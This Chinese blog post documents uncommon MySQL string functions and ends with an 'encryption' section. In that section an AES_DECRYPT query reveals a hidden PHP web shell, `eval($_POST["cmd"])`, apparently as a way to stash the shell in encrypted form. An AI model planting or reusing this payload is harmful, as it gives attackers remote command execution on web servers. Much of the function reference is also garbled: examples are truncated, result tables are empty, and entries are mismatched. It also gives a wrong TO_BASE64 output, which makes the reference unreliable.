MySQL生僻函数
0X01 字符串函数
STRCMP
STRCMP(expr1,expr2)
若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1 。
mysql> SELECT STRCMP('text', 'text2');
mysql> SELECT STRCMP('text2', 'text');
mysql> SELECT STRCMP('text', 'text');
mysql> SET @s1 = _latin1 'x' COLLATE latin1_general_ci;
mysql> SET @s2 = _latin1 'X' COLLATE latin1_general_ci;
mysql> SET @s3 = _latin1 'x' COLLATE latin1_general_cs;
mysql> SET @s4 = _latin1 'X' COLLATE latin1_general_cs;
mysql> SELECT STRCMP(@s1, @s2), STRCMP(@s3, @s4);
+------------------+------------------+
| STRCMP(@s1, @s2) | STRCMP(@s3, @s4) |
+------------------+------------------+
|
+------------------+------------------+
在执行比较时,STRCMP() 使用当前字符集。这使得默认的比较区分大小写,当操作数中的一个或两个都是二进制字符串时除外。
REGEXP
正则表达式操作在决定字符类型和执行比较时,使用字符串表达式和模式参数的字符集和排序规则。
如果其中一个参数是二进制字符串,则以区分大小写的方式将参数处理为二进制字符串。
mysql> SELECT 'Michael!' REGEXP '.*';
+------------------------+
| 'Michael!' REGEXP '.*' |
+------------------------+
|
+------------------------+
mysql> SELECT 'new*\n*line' REGEXP 'new\\*.\\*line';
+---------------------------------------+
| 'new*\n*line' REGEXP 'new\\*.\\*line' |
+---------------------------------------+
|
+---------------------------------------+
mysql> SELECT 'a' REGEXP '^[a-d]';
+---------------------+
| 'a' REGEXP '^[a-d]' |
+---------------------+
|
+---------------------+
mysql> SELECT 'fo\nfo' REGEXP '^fo$';
mysql> SELECT 'fofo' REGEXP '^fo';
mysql> SELECT 'fo\no' REGEXP '^fo\no$';
mysql> SELECT 'fo\no' REGEXP '^fo$';
mysql> SELECT 'fofo' REGEXP '^f.*$';
mysql> SELECT 'fo\r\nfo' REGEXP '^f.*$';
mysql> SELECT 'Ban' REGEXP '^Ba*n';
mysql> SELECT 'Baaan' REGEXP '^Ba*n';
mysql> SELECT 'Bn' REGEXP '^Ba*n';
UPPER
UPPER(str)
返回字符串str,根据当前字符集映射将所有字符更改为大写。缺省值是latin1 (cp1252西欧)。
mysql> SELECT UPPER('Hej');
-> 'HEJ'
LOWER
LOWER(str)
返回字符串str,根据当前字符集映射将所有字符更改为小写。缺省值是latin1 (cp1252西欧)。
mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'
LPAD
LPAD(str,len,padstr)
返回字符串str,用字符串padstr左填充为len字符长度。如果str比len长,则返回值缩短为len字符。
mysql,'??'); -> '??hi' mysql,'??'); -> 'h'
LTRIM
LTRIM(str)
返回删除了前面空格字符的字符串str。
mysql> SELECT LTRIM(' barbar');
-> 'barbar'
MAKE_SET
MAKE_SET(bits,str1,str2,…)
返回一个set值(一个包含由字符分隔的子字符串的字符串),该字符串包含以bit . str1为单位的对应位,set. str1对应于bit 0, str2对应于bit 1,等等。str1、str2、…中的空值不附加到结果中。
这个函数看解释稍微有点难理解
eg1

bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str3©,打印a,c.
mysql,'a','b','c'); -> 'a' mysql ,'hello','nice','world'); -> 'hello,world' mysql ,'hello','nice',NULL,'world'); -> 'hello' mysql,'a','b','c'); -> ''
OCTET_LENGTH
OCTET_LENGTH(str)
OCTET_LENGTH()是LENGTH()的同义词。
返回字符串str的长度,以字节为单位。多字节字符作为多个字节计数。这意味着对于包含5个2字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。
mysql> SELECT LENGTH('text');
LOCATE
LOCATE(substr,str), LOCATE(substr,str,pos)
第一个语法返回字符串str中子字符串substr第一次出现的位置。第二个语法返回字符串str中子字符串substr第一次出现的位置,从pos位置开始。如果子字符串不在str中,则返回0。
mysql> SELECT LOCATE('bar', 'foobarbar');
mysql> SELECT LOCATE('xbar', 'foobar');
mysql);
MID SUBSTRING
LOCATE(substr,str), LOCATE(substr,str,pos)
第一个语法返回第一次出现的位置的子串的子串字符串str。第二个语法返回第一次出现的位置字符串str子串的子串的开始位置pos。返回0如果substr str不在。返回NULL字符串的子串或str为NULL。
mysql); -> 'ratically' mysql); -> 'barbar' mysql,); -> 'ratica' mysql); -> 'ila' mysql, ); -> 'aki' mysql ); -> 'ki'
SUBSTRING_INDEX
SUBSTRING_INDEX(str,delim,count)
在分隔符delim出现计数之前,从字符串str返回子字符串。如果count为正数,则返回最后分隔符左边的所有内容(从左边计数)。如果count为负数,则返回最后分隔符右边的所有内容(从右边计数)。SUBSTRING_INDEX()在搜索delim时执行区分大小写的匹配。
mysql); -> 'www.mysql' mysql); -> 'mysql.com'
TO_BASE64
TO_BASE64(str)
将字符串参数转换为以base-64编码的形式,并使用连接字符集和排序规则以字符串的形式返回结果。如果参数不是字符串,则在转换之前将其转换为字符串。如果参数为空,则结果为空。可以使用FROM_BASE64()函数解码Base-64编码的字符串。
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'
FROM_BASE64
接受一个用TO_BASE64()使用的base-64编码规则编码的字符串,并将解码后的结果作为二进制字符串返回。如果参数为NULL或不是有效的base-64字符串,则结果为NULL。有关编码和解码规则的详细信息,请参阅TO_BASE64()的描述。
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'
0x02 加密
MariaDB [(none)]> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");
+---------------------------------------------------------------------------
| AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS") |
+---------------------------------------------------------------------------
| <?php eval($_POST["cmd"]);?> |
+---------------------------------------------------------------------------
row in set (0.00 sec)
MySQL生僻函数的更多相关文章
- mysql 自定义函数
原文:http://www.cnblogs.com/zhangminghui/p/4113160.html 引言 MySQL本身提供了内置函数,这些函数的存在给我们日常的开发和数据操作带来了很大的便利 ...
- mysql 日期函数总结
1.0 格式化:DATE_FORMAT() 函数用于以不同的格式显示日期/时间数据. 语法 DATE_FORMAT(date,format) date 参数是合法的日期.format 规定日期/时间的 ...
- MySQL concat函数的使用
MySQL concat函数是MySQL数据库中众多的函数之一,下文将对MySQL concat函数的语法和使用进行说明,供您参考和学习. MySQL concat函数使用方法:CONCAT(str1 ...
- mysql常用函数参考
mysql常用函数参考 对于针对字符串位置的操作,第一个位置被标记为1. ASCII(str) 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL, ...
- MySQL replace函数替换字符串语句的用法(mysql字符串替换)
MySQL replace函数我们经常用到,下面就为您详细介绍MySQL replace函数的用法,希望对您学习MySQL replace函数方面能有所启迪. 最近在研究CMS,在数据转换的时候需要用 ...
- 第十章 MySQL 常用函数
第十章 MySQL 常用函数 第一节:日期和时间函数 1,CURDATE() 返回当前日期:2,CURTIME() 返回当前时间:3,MONTH(d) 返回日期 d 中的月份值,范围是 1~12 第二 ...
- Mysql时间函数
http://blog.sina.com.cn/s/blog_6d39dc6f0100m7eo.html mysql中函数和关键字不区分大小写.下文函数的datetime参数处既可以用时间字符串也可以 ...
- FROM_UNIXTIME 格式化MYSQL时间戳函数
FROM_UNIXTIME 格式化MYSQL时间戳函数 对MYSQL没有进行过深入的研究,基础知识匮乏,一遇到问题只能手册,看来要把MYSQL的学习安排进时间表了. 函数:FROM_UNIXTIME作 ...
- MySQL Date 函数
MySQL Date 函数 下面的表格列出了 MySQL 中最重要的内建日期函数: 函数 描述 NOW() 返回当前的日期和时间 CURDATE() 返回当前的日期 CURTIME() 返回当前的时间 ...
随机推荐
- js 控制导航各个内容区域
自己导入一个jquery包就可以直接用 <!DOCTYPE html><html> <head> <meta charset="UTF-8" ...
- 神奇的 SQL 之谓词 → 难理解的 EXISTS
前言 开心一刻 我要飞的更高,飞的更高,啊! 谓词 SQL 中的谓词指的是:返回值是逻辑值的函数.我们知道函数的返回值有可能是数字.字符串或者日期等等,但谓词的返回值全部是逻辑值(TRUE/FALSE ...
- FlutterGo 后端知识点提炼:midway+Typescript+mysql(sequelize)
前言 关于 FlutterGo 或许不用太多介绍了. 如果有第一次听说的小伙伴,可以移步FlutterGo官网查看下简单介绍. FlutterGo 在这次迭代中有了不少的更新,笔者在此次的更新中,负责 ...
- 豆瓣电影TOP250和书籍TOP250爬虫
豆瓣电影 TOP250 和书籍 TOP250 爬虫 最近开始玩 Python , 学习爬虫相关知识的时候,心血来潮,爬取了豆瓣电影TOP250 和书籍TOP250, 这里记录一下自己玩的过程. 电影 ...
- 编程必备基础知识|计算机组成原理篇(09):CPU的控制器和运算器
计算机基础方面的知识,对于一些非科班出身的同学来讲,一直是他们心中的痛,而对于科班出身的同学,很多同学在工作之后,也意识到自身所学知识的不足与欠缺,想回头补补基础知识.关于计算机基础的课程很多,内容繁 ...
- Cocos Creator 中 _worldMatrix 到底是什么(上)
Cocos Creator 中 _worldMatrix 到底是什么(上) 1. (矩阵)Matrix是什么,有什么用 (矩阵)Matrix一个神奇的存在?在开发过程中对里边各项值的含义是不是抓耳挠腮 ...
- python常用数据结构讲解
一:序列 在数学上,序列是被排成一排的对象,而在python中,序列是最基本的数据结构.它的主要特征为拥有索引,每个索引的元素是可迭代对象.都可以进行索引,切片,加,乘,检查成员等操作.在py ...
- C语言入门-数据类型
一.C语言的类型 整数:char.short.int.long.longlong 浮点型:float.double.long double 逻辑:bool 指针 自定义类型 类型有何不同 类型名称:i ...
- MyBatis 插件使用-简单的分页插件
目录 1 分页参数的传递 2 实现 Interceptor 接口 2.1 Interceptor 接口说明 2.1 注解说明 2.3 实现分页接口 PageInterceptor 3. 更改配置 4 ...
- Python学习笔记整理总结【Django】:Form组件
Form组件 Django的Form主要具有一下几大功能: --生成HTML标签 --验证用户数据(显示错误信息) --HTML Form提交保留上次提交数据 --初始化页面显示内容 1.内置字段 ...